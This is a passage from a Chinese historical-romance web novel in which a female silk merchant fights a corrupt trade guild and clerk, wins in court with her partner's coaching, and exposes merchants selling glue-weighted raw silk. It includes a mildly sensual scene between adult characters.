他心头的激动远甚于紧绷,若非凭借着女婿的身份,如何能得这位大人字字千钧的提点。
陆铭章停顿了一下,又道:“你此去,首要之事并非建功立业,而是‘稳’字当头,多看、多听、少说,地方上盘根错节,一个不起眼的官吏,背后都可能牵扯着某位京官,你的每一个批文,每一次断案,不仅判是非,更是在表明你的立场,在没有看清形势前,不要轻易动作……”
谢容用心听着,口中应“是”。
陆铭章往谢容面上看了眼,说道:“海城知府杜谦……”
说到这里,陆铭章的手在茶案上有一下无一下地敲了敲。
谢容屏住呼吸,知道陆铭章接下来要给他剖析利害,教授权谋。
“此人颇有能力,但好大喜功,急于在任内做出政绩,你与他,既是同僚,亦是敌手,他要做的,你不可全依,否则便是失职,你全反对,便是掣肘,寸步难行,其中的分寸,你要自己拿捏。”
谢容不敢有半点迟疑地应下:“儿子记下了。”
陆铭章“嗯”了一声,继而再道:“记住,你要做的不是他的拦路石,而是压舱石。”
“他有利国利民之举,你暗中助推,劳民伤财、虚报政绩之行,你要握紧‘监’之权,将证据、文书,做得扎实,奏本可直达天听,这是你的护身符,亦是悬在他头顶的利剑,但此剑,出鞘必见血,非到万不得已,不可轻用,平日里,对他要保持三分敬意,七分警惕。”
“是。”谢容回应道。
陆铭章端起茶盏,将杯中茶水一饮而尽,谢容待要替他再续,他却抬手略略一压,示意不必。
谢容知这场谈话已近尾声。
陆铭章撩起衣摆,从案后站起。
“你在地方,无须畏惧,你的根基,不在海城而在京城,这一点,海城上下皆心知肚明,他们会敬你,也会试探你,所以,你更要谨言慎行,不授人以柄,遇难决之事,八百里加急送信于我,但信中所言,需是你深思熟虑后的判断,而非哭诉求助。”
谢容赶紧跟着站起身,向陆铭章揖拜道:“父亲大人的话,儿子记下。”
“待安置妥当,便将家眷接了去。”
谢容自是明白,这“家眷”是陆婉儿。
过了正月十五,年就算过完了,街市上,这时候看着又热闹,又有点懒洋洋的。
店铺差不多都开了张,酒馆门口挂出新幌子,布庄伙计把一卷卷绸缎搬到内院晾着。
卖零嘴儿的小贩推着车,吆喝声拖得老长,年节里积下的红纸屑还没扫尽,风一吹,就在人脚边打转。
茶馆里坐满了人,大多聊的是年后的打算,哪家的货该进了,哪处的田要耕了。
日头暖烘烘地照着,瓦檐上未化的残雪滴滴答答落水珠。
戴缨才一进店里,秦二便迎了上来:“东家,行会那边说是有事相商,邀了咱们华四锦。”
“什么时候?”
“就是今日午后。”秦二回道。
“好,我知道了。”
午后时分,戴缨乘了马车往京都行会驶去,下马车前,归雁为她戴上帷帽,遮住面部。
这京都行会,是官府为了便于管理和征税,将同行业的店铺组织起来而设立的机构,官督民办。
戴缨来时,门前停了不少马车。
她上到二楼,厅堂内已坐了不少
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人,有男有女,有老有少,之后将名帖递上,仆从接过后,报了名号。
堂间众人听说“华四锦”三字,知道是外来的分号,来没多久,名头倒是响亮。
仆从引戴缨于右侧尾,寻了个位置坐下。
在她之后,又接连来了几人,位于堂中的一名须发花白者,先是往堂间扫了一眼,待仆从走来,在他耳边低语后,他点了点头,开口道:“今日召各位前来,是有一桩天大的喜事。”
这老者便是行会之首,人人尊他一声,张行老。
众人听说喜事,各有反应,有的眯眼听,有的端起茶盏,有的同左右私语。
接着,那张行老说道:“前几日从南面来了一位客商,找到老儿,下了一笔大订单,所以传知各位前来,老儿欲将此订单均摊于各位。”
各大店铺的掌事人听后,纷纷议论起来,其中有一人问道:“订单大到需要各家均摊?”
张行老笑着点了点头:“不然也不会让大家伙百忙之中前来了。”
众人听后面上透出喜色,开年就撞上生意,这是好事。
又一人问:“可下了定金?”
张行老笑了一声,拈髯道:“有老儿作保,各位还有什么不放心的,定金自然是有的,再者,你们织出绸缎,他若不交银钱,你们不给他货物不就完了,难道他还抢不成?他要真敢,一人一棍子,打他出去!”
一语毕,众人笑了起来。
接着,仆从开始向在座的大大小小绸缎庄分派任务。
分到戴缨时,戴缨看了一眼账目,然后递回,站起身,看向上首的张行老,先是欠身,接着开口。
“行老海涵,华四锦初来乍到,去岁的旧账尚未理清,实在力有不逮,这笔生意,还是让与在座诸位东家吧。”
张行老把眼一眯,枯瘦的脸上掠过一丝冷意:“戴掌事是外地来的,怕是不懂咱们这儿的规矩,既入了行会,会中事务,人人皆需分担一份,他日你若遇上难处,会中同仁……自然也会援手。”
戴缨嘴角带笑,面色不改:“妾虽来京都不久,却也不是生意场上的愣头,行会有行会的规矩,这没错,不论是去府衙轮差或是调配物资,也是合该,只是……”
“只是,断没有强买强卖的道理,行老莫怪,实在是鄙店能力有限,接不下这单生意。”
说罢,不再多待,带着丫头出了厅堂。
戴缨走后,坐于上首的张行老两眼眯起,沉声道:“一个外地来的商户,还未在京都立住脚,倒摆起架子来,端得不知好歹!”
在场之人,都是经营绸缎庄的同行,眼红华四锦的不在少数,一个外来的分号,一来就把他们比了下去,让他们这些本地商户的脸面往哪儿搁?
嘴上说的同行互助,前提是大家碗里的肉差不多。
若是一方后来居上,剩下的便只有虎视眈眈的仇敌,哪来的真心相助?
这时有一人起身说道:“行老别气,这外来的商户不知咱们这儿的规矩,既然不知道规矩,咱们就教教她规矩……”
第118章 查封她的铺子!
行会众人你一句我一句地指摘戴缨,说她一外地商号凭什么在京都抢生意。
一来想趁这个机会打压华四锦,二来更向张行老靠拢。
就在堂中众人献计表诚时,有一人默坐着,静静喝茶,并不参与其中。
这人便是那瑞锦轩的东家,林韦。此人同巡事所的郑主事有裙带关系,是郑主事小妾的兄弟。
郑主事没有同他说太多,但大概意思是这位华四锦的女东家不能招惹,背后有依撑的。
能让他姐夫一再交代,他就知道那依撑绝不简单。
不过嘛……林韦看向张行老,他早看这老头子不惯了,叫他踢到铁板才好。
他只在旁边观戏,适时而上,说不定还能捞便利。
……
出了行会,回绸缎庄的路上,归雁不明白适才她家娘子为何不接订单,既然开店做生意,哪有把赚钱的机会往外拒的道理。
心里这么想着,便问了出来。
戴缨揭开车帘,往外看了一眼,这两日城中多了许多异服客商。
“这样大的订单,虽说也有定金,可那定金和那单子相较,简直不算什么,我不敢接。”
归雁想了想又道:“如那位行老所说,大不了把织出的布匹留下自家用,左不过他不给钱,咱们不交货就完了,也没有什么损失。”
戴缨摇了摇头,又往车窗外看了一眼,放下车帘:“我总觉得这事有些蹊跷,还是不去掺和。”
“婢子见那位行老面有恼色,就怕他给娘子小鞋穿。”
“那不怕,若担心报复而违心依顺他,以后咱们做生意岂不要被他掣肘得寸步难行?”戴缨稍稍抬起下巴,说道,“他若真来找麻烦,那就对上试试。”
戴缨先是回了一趟绸缎庄,去了后院,各区的工匠都在做着自己的手头事。
染布区,只见一老师傅正在交代一皮肤黝黑的男子如何抻布,男人低着头,听得很是认真。
归雁立在戴缨身后,眼睛睁大,惊呼了一声:“阿左哥!”
陈左转头看了来,对着戴缨主仆笑着点了点头,继续虚心地听老师傅指点。
戴缨原打算让陈左料理好鸢娘的丧葬,来找她给他谋个稳当的差事。
从前陈左给各处铺子修整,这类活计并不多,有就做,没有就闲下来。
听鸢娘说,闲下来后,他便到码头或是旁边的城镇再找活计,没有固定收入。
戴缨想着自家铺子本就需要人手,不如就势让他到自己的绸缎庄来做事。
年节时,趁店中伙计们聚在一起热闹,秦二把这个意思转知给陈左,他应了,自此,陈左便在绸缎庄做工。
对于陈左,戴缨心里总有愧疚,没有周虎那一茬,鸢娘还能多活些时,于旁人而言,鸢娘那身子,早死晚死总是一个死。
但陈左对鸢娘的感情……只要能让鸢娘多活一日,哪怕让他少十年寿命他也是愿意的。
不是周虎往鸢娘胸口踹的那一脚,她可以活到年后,再看一看来年的春天。
就这么又过了几日,也是赶巧,戴缨正在铺子理账,秦二从外走来。
“东家,来了两个衙吏,说要见你,小人把他们请到客间。”
戴缨起身,随秦二走了过去。
就见两名身穿厚袄,三十多岁,一个面目稍白净,有些书生气,一个皮肤微暗,深衣,看起来像是白皮男子的副手。
那二人先是在戴缨身上打量,不客气道:“你是华四锦东家?”
戴缨侧身于一旁坐下,微笑道:“正是,不知二位是?”
深衣男子侧目,看向白皮男子,开口道:“这位姓卢,是咱们府衙的主簿。”
“原是衙门的卢主簿,不知到小店所为何事?”
那姓卢的主簿不慌不忙地开口道:“你是平谷人?”
“是。”戴缨回道。
“你一女子,又是外商,谁准许你在京都主持分号的?手续可办齐全了?”卢主簿语气不善地质问道。
戴缨示意归雁将证件取来。
“卢主簿稍候,妾这就将文书取来,以供查看。”
卢主簿点了点头。
没一会儿,归雁从秦二手里要到相关文书,拿了来。
戴缨将戴万昌的委托文书,经由当地州府押印的认证书,另有一份平谷“书铺”公证的文书,一一呈出。
那卢主簿只随意扫了一眼,便将这几张证件丢在桌上,抬手在“书铺”公证的文书上敲了敲。
“这是你们平谷书铺公证的?”
戴缨见他这样,心里有了数,这是找碴的来了,仍是客气地回道:“是。”
卢主簿同副手对看一眼,露出轻蔑地笑:“你这文书是当地州府的印,在京都不好使,还有……你拿平谷‘书铺’的公证文书,怎能在京都行走?”
最后总结一句话:“京城有京城的规矩,‘外地文书’须得在我处重新验看,否则便是非法经营!”
两人站起身,看向戴缨,漫不经心地丢下一句话:“把所有证件准备齐全,你这店……暂先停业,查验合规后,方能营业。”
说罢离开了,他二人前脚刚走,后脚就来了几名衙差,清了店中客人,待要贴封。
店中伙计全都聚在堂中,气愤不已。
“大家伙先回,待铺子开张,我再知会你们来。”戴缨安抚道。
众人只好丢下手头事务,满心担忧地离开了。
陈左走上前,问道:“可需要我帮忙?”
戴缨想了想,说道:“你替我查查,街上那些客商都是什么来头。”
陈左应下,戴缨又道:“还有,今日这个卢主簿多半和行会的行头有些牵扯,替我确认一下。”
“好。”陈左应下后,离开了。
待陈左走后,秦二问道:“东家可需小人做些什么?”
戴缨看着候等在店外的那些衙差,说道:“不急,等陈左把消息探到,再走下一步。”
“可需要小人完整文书?”
“不必,咱们这些文书没问题,那人故意挑错,官字两张口,他们说什么便是什么,就算重新获得文件,仍能挑出毛病。”戴缨从归雁手里接过文件看了看。
“这可如何是好,做生意最忌讳闭店。”秦二叹了一声,再瞟一
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眼女东家,试问道,“这些个虾吏算什么,官职屁大点,却摆好大官威,依小人说,要不让陆相给咱们出头……”
戴缨看了秦二一眼,秦二赶紧闭上嘴,停了停又转开话头:“东家接下来如何打算?”
在衙吏的催促声中,戴缨往外走去:“偌大的京都城,还怕找不到一个讲理的地方?”
秦二心道,这事您若不讲理,才好办哩!
当日,华四锦被贴了封条,城南和城东两家铺子闭店。
傍晚时分,陆铭章回了一方居,不见戴缨,问道:“缨娘呢?”
“一早出门了,中午回来一趟,之后又出去,到现在未归。”七月替陆铭章更好常服,听到院中传来净柔的说话声,笑道,“才说,这就回了。”
戴缨进了屋室,因为一心想事,没注意到屋里的动静,径直走到窗榻前坐下。
看着小几上的杯盏发怔,手指头无意识地圈画起来,眼下首要之急,解决店铺被封的问题。
想是那日她没给姓张的面子,叫他记恨上,再叫本地商铺一撺掇,于是给她来个下马威,让她服软。
呵!她若到他面前赔不是,这事也就过了,但以后只怕有更过分的要求。
还有那些个同行商铺,也都心怀鬼胎。
绸缎庄被封因拒接外商客单引起,所以根本问题还是出在这儿,只看陈左能探得什么消息了。
戴缨整个人沉了下去,一点点理清头绪,全没注意到陆铭章坐到了她的对面。
待她抬头时,才发现他正微笑地看着她。
“大人几时回的?”戴缨拿手蹭了蹭桌面,像是把刚才思索的痕迹抹掉。
陆铭章低下眼,在她手指画圈的地方看了看,说道:“比你先回的。”接着又道,“铺子出事了?”
“大人如何知晓的?”
“能让你这般上心的,也就你的绸缎庄了。”
戴缨点了点头,将手肘撑在桌上,脸依在手心,喃喃感叹着。
“这世道太不公,对女子有太多限制……若是能找到一片净土,对女子有那么一丢丢公平的净土,就太好了……”
譬如开这绸缎庄,分明是她在经营,店铺买卖时,却不得不由秦家兄弟拿着戴万昌的委托文书,才能购置。
而那姓卢的主簿如此刁难,不也是因着这一层?她若是个响当当的男儿,只往那里一立,必能干出一番大事业。
呸,一个个算得了什么!
陆铭章看着她,不知她想到什么,在那咬牙切齿的。
“出了何事?”
戴缨也不隐瞒,只当闲话家常,把今日之事说了。
陆铭章点了点头,没问需不需要帮助,或是要不要自己出手之类的话。
她若解决不了,自会向他开口。
“那你接下来打算怎么做?”陆铭章以闲适的腔音问道。
“铺子关了,依那位卢姓官吏的说法,重新办证,肯定不行,一来耗时太长,二来不知他还有什么后手。”
“不错。”陆铭章点了点头。
接着戴缨又道:“妾身以为,不如直接闹到衙门申冤……”
第119章 鱼水欢
店铺被贴封条,这可不是小事,做不成生意不说,对铺子的声誉也有影响。
所以当戴缨说去衙门申冤时,陆铭章点了点头。
“去了衙门,你打算如何说?”
戴缨转过身,从身后取出几副封套,将里面的文书拿出来,铺展到陆铭章面前。
“大人,你看,委托书还有‘书铺’的公证,全都齐全,定是张行头和姓卢的朋比为奸,故意刁难。”
戴缨走到陆铭章身侧,俯下身,指向文书中州府的公印:“咱们州府的公文怎么就不成?偏要京都的?”
说着看向陆铭章,问道:“大人,妾身说得对不对?”
陆铭章“嗯”了一声,不带一丝犹豫地回道:“对,对。”
戴缨重新坐回自己的位置,一面将文书小心翼翼地收回封套,一面说道:“今日下午我已把诉冤状递了上去,他们受理了,待明儿一早……”
“不,明儿我先给老夫人问安,问安后,我就出府去一趟衙门,总要找个说理的地。”
“那你打算如何说理?”陆铭章问道。
“这些契文皆公认过,我又不理亏,就照实了说。”
陆铭章笑着摇了摇头:“照实了说也得有理有据,否则单靠一张嘴,如何让判案人替你决断。”
戴缨以为在理,想了想:“不如我去寻个讼师?”
陆铭章起身,走到门首下,召来七月,不知说了什么,不过一会儿,七月拿着一本厚重的册子走了来,交到陆铭章手里。
陆铭章翻了翻,然后在特定的位置折起页脚,转手递给戴缨:“拿去看,讼师也不一定靠得住。”
戴缨接过,翻开书页,细细看去,竟是大衍朝律法。
“这……”
她想过要较这个真,也没想过较真到这个地步……
“怎的?刚才不还挺大的兴头么,势要找个说理的地方,叫你看一看书,学一学知识,明日对簿公堂也有底气,怎么反做这副苦脸。”陆铭章说道。
戴缨讪笑一声,她不是个喜欢看书之人,从小就不擅长同文字打交道。
“若是有不明白的地方可问我。”陆铭章似是看出她的窘促。
戴缨抚着书册封面,点了点头,本是一腔的无畏,对簿公堂也不带怕的,然而,从未想过这里面的深浅浑浊。
看来今夜得点烛通宵了。
晚饭摆上桌后,戴缨把饭桌上的规矩丢到一边,又谈起了近日城中多出好些客商一事。
陆铭章静静听着,不时给两句回应,当一个合格的听众。
晚间,戴缨沐洗过后,入到帐中,靠坐在床头,两手捧着书册,翻看陆铭章折起的书页。
陆铭章入到榻上时,戴缨正垂着颈,一手指向书中的文字,很慢很慢地读取,不像在看书,倒像从众多文字中寻着什么,看得太过坎坷曲折。
垂尽的余光中,戴缨瞥见身侧的陆铭章,遂故作一副轻松样态,一页没看完,也没看懂,就翻向下一页。
他靠得越近,她越是心不在焉,目光只能飘忽在字上。
因刚沐身的原因,他身上蓬着湿热的气息,戴缨把眼睛再睁大些,看着书上的文字一动也不动,想忽略掉身边的干扰,直到陆铭章轻闷的笑声在她耳边响起。
痒梭梭地拂着她的耳。
陆铭章低头去够她的唇,先是轻轻碰了碰,再温柔而坚定地交接深入。
戴缨两眼微热,他深深浅浅的缱绻勾缠,像是一只无形的手,揉着她的心又酸又软。
随之,她的声音从相接的唇齿间溢出:“书……”
陆铭章仍覆在她的唇上,将她手间的书抽开,放到一边,低声微喘:“不打紧,一会儿我教你……”
接下来是不能道尽的温存缠绵,热浪中,她分出一缕神思想明日对簿公堂之事。
陆铭章咬了咬她的唇,贴着她唇瓣低语:“专心些……”
戴缨轻笑出声,双手抵住他微湿的肩头,从他的身下像一条滑手的活鱼,溜出来,陆铭章反手将她捉住,往回一带,让她面朝下,伏趴着。
松散的软绢衣摆褪到腿股处,露出丰匀的、白生生的一双长腿,因着刚才一场未尽的欢爱,通身透着淡淡的粉泽。
他隔着薄软的料子,在她左边丰软的臀瓣上亲了亲,吻得久了,那上面带了深色的痕迹。
浅淡的素绢,再加上洇出的湿痕,可透出下面一块不规整的,拇指般大小的红色胎记。
许是那窗扇没关严实,吹来一阵风,碧青的纱帐如水波一般荡开……
云雨毕,戴缨爬睡着,脸侧埋在枕间,薄绢衫悬悬地搭在身上,半眯着眼,像要睡去的样子。
陆铭章系好衣带,看了她一眼,轻声道:“可需我指点一二?”
戴缨懒懒地抬起眼皮“嗯”了一声:“大人说,我听着。”
堂堂大衍宰执,字字句句皆带重量,他若开口,哪怕寥寥数语,也是多少人求神拜佛盼不来的,即便只是无心的一句客套,落在那些文臣武将耳中,也值得炫耀和暗自窃喜。
然而,总有例外,就譬如这六个字:大人说,我听着。
陆铭章把被子拉起,给她盖好,这才说道:“那京都衙令叫胡渊,性子还算清廉刚直……”
说到这里,戴缨猛地睁开眼,撑起身子,将衣衫理好,同陆铭章并靠着。
“大人请讲。”
陆铭章继续道:“明日到了那堂上,莫要反复强调你没错,这像小儿争辩,你要做的,是让胡渊发现你没错,你把誊抄的契文备件呈上,并在其中关要处,圈画,让他自己看,比你说破嘴皮要强。”
戴缨听后,连连点头,好像摸到了一点点申诉诀窍的门槛。
接着,陆铭章语调微冷:“那主簿一口咬定你的契文在京都无效,要你在京都重新办理并备案,你别与他争辩备案不备案。”
“可此处正是问题关键所在,不谈备案,那谈什么?”
戴缨以为,该要的证件自己都有,是姓卢的有意为难,明日她只需将这些委托文书,还有公证契纸呈于堂前即可。
衙令自有公断。
陆铭章一眼就看出她心中所想,说道:“你忘了那小主簿的身份?他是胡渊的副手,这里面……总有一份袒护在,既是袒护那小主簿,也是维护他自己的颜面。”
不错,典章律法就像一根红线,只要不越界,好坏对错并非那样泾渭分明,端看怎么判怎么说,戴缨如是想着。
“不谈备案,那妾身该说什么?”
陆铭章轻笑了一声:“你只反问他一句‘依大人之见,所有持外地文书来京经营者,在备案之前,其合法文书皆视同废纸,一律不得经营,是也不是?’”停顿了一下,又道,“你看他怎么回答,他若敢答‘是’,你便不必再言,胡渊自会权衡。”
戴缨眼睛一亮,接话道:“他若敢应‘是’,将在京城商界掀起震动,会得罪不少商贾。”
“不错,他担不起这个责。”陆铭章又道,“他若答不是,那便是承认他独在刁难你,坐实其失职
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、构陷之罪。”
戴缨沉吟片刻,点了点头,拿起那本厚重的书册,在陆铭章眼前晃了晃,笑道:“大人先前还叫我看它,你说的这些话……书里可没有。”
“怎么没有,皆从书中来,不过是稍稍变通。”陆铭章说道,“还有一点,至关重要。”
戴缨收起玩笑,坐直身,态度很是认真,陆铭章的这些话没有半个字的虚言,这一刻,他就像一位学识丰富的教书先生,而她是他座不算顶优秀,却讨他喜欢的学生。
“大人请说。”
“最后,也是最重要的一点,你需记住,给胡渊一个判你赢的台阶,这个话……需要我再一一说明么?”
戴缨想了想,理会过来,将腰背挺直,如同已立于衙堂之上,而陆铭章就是衙令,于是一本正经地向上拱手:“民女深知入乡随俗之理,备案事宜,退堂后即刻去办,绝无推诿。”
陆铭章满意地笑了,点头道:“不错,孺子可教。”
两人又闲话私语了一会儿,安然睡去。
……
次日,戴缨出了陆府,带上秦二,乘着马车径直去了衙门。
那衙令见了堂下女子,又看了申诉状纸,问道:“你这诉状本官看了,契文何在?”
戴缨给秦二施了眼色,秦二取出一应公证文书,转递于文吏手中,文吏再呈于上首的衙令。
衙令先是看过契文,再抬眼瞟向自己的副手,卢主簿。
卢主簿跟这位上司日久,刚才那个眼神便是在质问他,于是从旁说道:“大人,此女户籍非在京都,且持外地文书在京开店,商贾跨州经营,需本地有保人,并于府衙备案,实属程序有缺,其经营应为非法。”
说到这里,看了一眼下首的戴缨,又道,“属下这才勒令查封店铺,待其补全手续。”
衙令点了点头,戴缨见势不对,抢声道:“大人容禀。”
“说来。”
“民女所持的所有契文,经原籍县衙书铺公证,盖有官印,程序完备,我朝律法并未规定外地公证文书在京城无效。”
略提一嘴,不再多言,之后戴缨将昨夜陆铭章教她的话一一道了出来。
一套章法说下来,姓卢的主簿哑口无言,而上首的胡渊也暗自点头。
接着又听堂下的戴缨谦恭且诚恳地表明态度,愿意补全程序,也就不再多说什么,一拍惊堂木。
“未及时备案,至多是程序延误,按律补上即可,岂能直接定为非法而查封?此为滥用职权,苛责商民。”
胡渊侧目看向自己的副手,声音透出不快,“卢主簿,我等为官讲得是持中守正,你这律法平日里如何解读的?”
那卢主簿身上冷汗直冒,他收了张行老的银子,查封个铺子,并非什么大事,一般人想要解决问题,不过是服个软,大事化小,小事化无,拿钱通通门路,他嘛……正好两头收……
岂料这女人闹到衙门,居然还真叫她争论出名堂,当下哪儿敢再说什么。
“戴氏女的文书合法,态度恭顺,愿意补全程序,于情于理于法,都该速速办理,以示我京城官府的公平清明之气。”胡渊看向卢主簿,声音沉肃,“着你亲自督办,今日之内把所有手续办妥,若再有任何程序上的阻碍……”
不待胡渊说完,卢主簿赶紧表态:“下属定将此事督办完备。”
华四锦闭了一天,重新开业,这一小小的变故没对绸缎庄造成大影响。
接着,陈左带回了他打探到的消息……
第120章 她的后半生
陈左将探得的消息道了出来。
“那姓卢的主簿同行会的张行头,私下常有往来……”
“这个不必说了,那些客商有无探到什么?”戴缨问道。
陈左解下身上的布包,递到戴缨手里:“这些人都是卖生丝的。”
“卖生丝的?”
“是,我弄了些来,你看看。”陈左又道,“而且,这些生丝的价格我问询过,比咱们往常进的两家老丝行便宜不少。”
戴缨将布包打开,里面是一小卷光泽柔亮的银丝,色泽饱满,又以指拈了拈,触感不错,是好丝。
先是外来客商下大笔订单,接着多出这么些卖生丝的,这也太巧合了,不免让她生出警惕。
戴缨再次看向手里的生丝。
心里有种预感,这种警醒可以说是在戴万昌身边长年耳濡目染形成的。
在她的潜意识里,那些主动找上门的,或别人催迫着你去料理的,都有些说法的。
眼下,她自身的困境解了,可以腾出手探探这件事。
“秦掌事。”戴缨吩咐道,“你现在去两大丝行,看看什么情况,丝价涨没涨,若仍是原价,带伙计多进些回来。”
秦家兄弟一听,细细问道:“若是原价买进多少?若是涨了呢?”
“仍是原价目,你们把他们现有的存货都拿了,若是涨了,问问看涨了多少,回来告知我。”
秦家兄弟应是,带着手下几个伙计去了。
戴缨看着手里的生丝,走到后院,叫来徐三娘等几个老道的绣娘和织工。
“你们看看这丝如何?”戴缨将布包里的生丝呈给几人看。
几人接过生丝,在手间翻看,又拿指腹轻轻摩挲:“光泽亮丽,摸上去手感也好,只是……”
“只是什么?”戴缨问道,她虽善于经商,却不比这匠人更懂丝货和工艺。
其中一位老匠人说道:“这丝的手感有些不对,乍一看没什么,是好丝,摸起来也顺滑,只是有些过于滑手。”接着建议,“东家不如将这生丝拿水煮一煮,按咱们正常工艺走一遍。”
戴缨觉着有理,只凭观感看不出什么,当下让人拿这些生丝先以冷水浸泡,再热煮。
戴缨交代下去后,去了前厅,过了一会儿,徐三娘急急走来。
“东家快去看,那生丝不对!”
后院的几名老匠人围在一边,见戴缨来了,让出道,其中一人说道:“冷水浸泡时,这一卷生丝仍是好的,没有半点异样,谁知水温升高后就成了……”
戴缨往腾着热气的水中看去,水变成黏稠的浆糊状,丝线也相互粘连着。
老匠人以他的经验从旁解释:“有些商贩为了给生丝增重,会给劣质生丝过糊,一般都用米粉浆,这种把戏已不时兴了,但这些外商用的不是米粉浆。”
戴缨拿筷子在水里挑了挑水面的黏稠:“不是米粉浆,您老能不能看出是什么?”
老匠人在筷子上捻了捻,又拿到鼻下轻嗅:“有股腥味,若是没猜错,像是鱼胶粉。”
戴缨看着那一锅糊得不成样的生丝,瞬间了然,合着订单只是诱饵,这生丝才是下好的笼。
这些外商先寻到京都布行行会,同那张行老言明要下大单,且付了定金,还许诺一手交钱一手交货。
而姓张的愿意积极做保,其中必是受了一笔可观的钱财,打得好主意,既不担风险,又趁机敛财。
接下来,京都各大接了订单的庄子大批进丝货,那些外商售卖的丝价更便宜,看上去也是好丝,定有不少人贪图便宜,购置这些生丝。
待这些外商把手里的劣质丝卖完,京都各大绸缎庄还忙碌着赶织料时,这些人早就拍屁股走人了。
先前下的定金同后续从劣质丝中获得的盈利一比,也就无足轻重。
戴缨重新回到前厅,正巧秦家兄弟带着伙计们回了,身后还拖拉了一大车的丝货,正往库房搬运。
秦三招呼着伙计们运丝,秦二趋步到戴缨面前。
“两大丝行的现货拿了,仍是原价。”秦二抹了一脑门的汗,“东家,咱们拿这么些货,不怕积压了?”
戴缨走到桌边,倒了一杯茶递给秦二,秦二躬身接过。
“开始还有这方面的顾虑,现在没了。”戴缨说道,接着将劣质丝一事说了出来。
秦二一听,眼中生亮:“所以,东家预备将这些丝货买断?眼下又值年初,那些绸缎铺的生丝存货不多,待他们发现被骗后,白耗了一场工夫不说,还接不上后手,咱们便把这些生丝高价转卖出去?”
说到这里,秦二拊掌道:“妙啊——”
戴缨笑着摇了摇头:“不能这样。”
接着往后院走去,秦二跟随在侧,院里的伙计们,包括那些织工、绣工,还有染色工,以及打下手的杂役,皆忙碌着手里的活计。
每个人虽是忙碌的,脸上却带着光,手上做着活,嘴里相互打趣玩笑,这是他们的日常。
活计轻省,饭菜好吃,准时拿工钱,在华四锦干活的人,没
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有想往外跑的。
“秦叔是咱们戴家的老人了。”戴缨说道。
秦二笑道:“是啊,守咱们家铺子,守了半辈子。”
“咱家在平谷的生意大,算是生意场上的地头蛇。”戴缨说罢后,觉着“地头蛇”这三个字有意思,笑出了声:“说地头蛇没错罢?”
秦二也跟着笑了起来:“没错,没错。”
戴缨点了点头,慢慢收起笑:“但在京都……还不是……”
“我们初来乍到,想要立住,不仅仅在买卖上,与同行也要交好,否则受了排挤,日后难做。”戴缨又道,“不如借这个机会,表明姿态和立场,方是长远之道。”
秦二摇了摇头,戴缨以为他不认同,遂问道:“秦掌事是什么看法?”
秦二忙摆了摆手:“小人只是觉得大姐儿和老爷行事不同,太不同。”接着说道:“东家接下来预备怎么做?”
戴缨想了想,说道:“咱们要做好人,却也不是白做,好人好事做了,必得让众人知晓,再等等,等到各家绸缎庄开始大量从外商手里进丝货,我们的机会就来了。”
此事若能成,她要讨一样东西,一样能给她后半生兜底的东西……
“是。”
过了些时日,街市上出现了更多售卖生丝的商贩,他们没有固定点,赶着驴车,板车上拖着一摞一摞的丝货。
只要他们一出现,就能看到一拨一拨的人从他们车上搬货,再拖走。
“已有许多庄子从他们那里拿货。”秦二看向戴缨,好奇接下来要怎么做。
戴缨递给秦二一封信笺:“这是一封诉状,你把它交给衙门。”
秦二没有耽搁,依言去办了。
次日,待那些外商赶着驴车刚一停于街边,守望在附近的带刀衙吏一拥而上,将这些人制服。
再通过审讯逼问,搜查了他们所有的货物,皆是劣质生丝。
那些贪图便宜的绸缎庄得到消息,恍如天塌了一般,先是闹到行会,要找姓张的,结果那张行老早就溜了。
众绸缎庄东家无头苍蝇一般寻到衙门,想要个解决办法。
他们这些人都是花了大价钱进购劣质生丝的,这些生丝,他们买了很多,不仅仅为了那笔订单,还有来年的采买计划。
在听说手上的生丝不能用后,又立刻遣人去京都两大丝行,谁知丝行没有现货。
这可不是把人逼到绝路么。
于是,这些人聚在一起不说,还带上自家伙计,堵到衙门口……
第121章 她要的身份
胡渊坐在府衙后宅,嘴里直哼,气得站起,扬手指向屋外,对自家夫人说道:“你看看,一个个贪便宜,上了当,跑到我门前闹,是我叫他们买的?”
胡夫人让自家老爷坐下,安抚道:“你消消气,他们不过是走投无路了,你戴着官帽,不找你找谁?”
“这京都戴官帽的多了去了,偏只我一个?”
胡夫人嘴角含笑道:“戴官帽的多,可都不及老爷来得清正廉洁。”
胡渊听了这话,稍稍平息心气:“还是夫人的话慰帖我心。”
“妾身听老爷说过,是收了一张信笺,才将这伙人擒获?”
胡渊点头道:“是华四锦的女东家,这小女子年纪不大,说话却是老辣,乍一听,还以为是官道浮沉半生的人物。”
胡夫人略作沉吟,说道:“这才年初,两大丝行怎会在这个关窍没了存货,可是大手笔,若是同这位女东家有关,只怕……”
“以低价购进,再转手高价卖出。”胡渊“啪”地拍向椅扶,“这小女子也不是个省油的灯,当真是……”
“老爷气得什么,那丫头既然递了信,就是有心要掺和此事,你不如将她传来,探探她的口风,若她真想断人命脉以生财,你便言语敲打她一番,若不是,这事更好解决……”
胡渊听后,觉着在理,当下让人把戴缨传到府衙偏厅。
戴缨到了偏厅,朝胡渊道了万福,胡渊赐座,戴缨告了座。
“不知大人传小女前来,所为何事?”
“此次擒获那伙不法商贩,幸有你的告发信件。”胡渊说道。
戴缨笑了笑:“这是该的,妾身原也打算贪便宜,从那些人手里买一些,只是比旁人多留了一份心,也得亏是这份疑心,发现了不对。”
胡渊点了点头,眼睛稍稍眯起,语气意味深长:“戴掌柜怕是不止多了一份心罢?”
“妾身不明大人此话何意。”
“我已着人查过,两大丝行的现货皆由你华四锦买了去,是也不是?”
胡渊语气沉下来,打算给这女子一个下马威,让她怕,只有怕了,才好听从吩咐。
然而,这女子面目坦然,没有一点惧意,只听她先笑了一声,说道:“大人何必去丝行查探,直接到华四锦来问便是,没什么不可说的,所有的丝货确实是我们庄子买走的。”
不等胡渊开口,戴缨又道:“买卖货品,一手交钱,一手交货,皆以正规手续采买,难道这也犯了事?”
胡渊一噎,他还没问她,她倒质问起他来,于是也不绕话,直言道:“因着你把生丝买走,其他绸缎庄存货不够,闹到我门前寻说法。”
“阿缨明白大人的意思,阿缨愿将手里的生丝拿出,分给其他绸缎庄以解燃眉之急。”
胡渊没想到她如此轻易就松口,确认道:“你愿意拿出手里的丝货?”
戴缨点头道:“不过……”
胡渊心中了然,说道:“当然,你转手卖出,价格上肯定要高出些许,这也是应当,只是不可高出太离谱。”
戴缨摇头:“并不多出价格,妾身以什么价买进,便以什么价让出。”
“此话当真?!”这一下,连胡渊都惊震了,接着他反应过来刚才这小女子似有后话,遂问道,“有什么要求但讲无妨。”
